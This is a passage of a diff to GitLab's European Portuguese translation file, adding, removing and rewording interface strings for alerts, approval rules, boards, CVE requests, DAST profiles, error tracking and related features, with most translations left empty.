msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Permitir que proprietários de grupos gerenciem as definições relacion
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Permitir apenas, que os protocolos selecionados sejam usados para acessar o Git."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr "Também chamado de \"Emissor\" ou \"Identificador de confiança de terce
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Também chamado de \"URL do serviço de terceiros\" ou \"URL de Resposta\""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Ocorreu um erro"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr "Ocorreu um erro ao buscar os comentários pendentes"
msgid "An error occurred while fetching projects autocomplete."
msgstr "Ocorreu um erro ao buscar projetos de conclusão automática."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Ocorreu um erro ao buscar os dados da barra lateral"
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar as listas do painel. Por favor, tenta novamente."
-msgid "An error occurred while fetching the builds."
-msgstr "Ocorreu um erro ao buscar as compilações."
-
msgid "An error occurred while fetching the job log."
msgstr "Ocorreu um erro ao buscar o registo do trabalho."
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Um problema pode ser uma falha (bug), um \"todo\" ou um pedido de recurso que precisa de ser discutido num projeto. Além disso, os problemas são pesquisáveis e filtráveis."
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d membro"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprovação obrigatória de %{membersCount}"
msgstr[1] "%{count} aprovações obrigatórias de %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Nome"
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "por exemplo, Controlo de Qualidade, Segurança, etc."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Tens a certeza de que queres perder as alterações não guardadas?"
@@ -4026,6 +4137,12 @@ msgstr "Tens a certeza de que desejas parar este ambiente?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Tens a certeza de que queres desbloquear %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Tens a certeza de que desejas cancelar a assinatura do %{type}: %{link_to_noteable_text}?"
@@ -4068,14 +4185,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} empurrou para o ramo %{branch} de %{project_name} ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Trabalho em equipa sem email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Lista separada por vírgulas de ramos, que será, automaticamente, inspecionados. Deixa em branco para incluir todos os ramos."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "Token de Acesso Pessoal do Utilizador. O utilizador deve ter acesso à tarefa, todos os comentários serão atribuídos a este utilizador."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "Ascendente"
@@ -4501,6 +4618,9 @@ msgstr "O avatar será removido. Tens a certeza?"
msgid "Average per day: %{average}"
msgstr "Média diária: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr "Um utilizador com acesso à API, se aplicável"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Chave de plano de compilação do Bamboo como KEY"
@@ -4621,6 +4744,9 @@ msgstr "Tem cuidado. Alterar o espaço de nomes do projeto pode ter efeitos secu
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Tem cuidado. Renomear o repositório de um projeto pode ter efeitos secundários indesejados."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Começar com o envio selecionado"
@@ -4645,7 +4771,7 @@ msgstr "Faturação"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Painéis"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr "Editar painel"
msgid "Boards|Expand"
msgstr "Expandir"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Ver escopo"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "por"
msgid "CHANGELOG"
msgstr "CHANGELOG"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr "Definições de CI / CD"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5223,6 +5365,12 @@ msgstr "O CI será executado ao usar as credenciais atribuídas acima."
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "Configuração de CI/CD"
@@ -5312,6 +5460,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Resposta"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr "Alterar modelo"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Altera este valor para influenciar com que frequência a interface do utilizador do GitLab pesquisa atualizações."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Alterar título"
@@ -5555,6 +5730,9 @@ msgstr "Cherry-pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Reverter"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Isto irá criar um envio para reverter as alterações existentes."
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Fechar épico"
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Certifica-te de que tua conta %{link_to_requirements} para criar cluster
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
-msgstr "Depois de adicionares as tuas Tokens de Autenticação, usa o botão 'Conectar' para carregar projetos"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
+msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
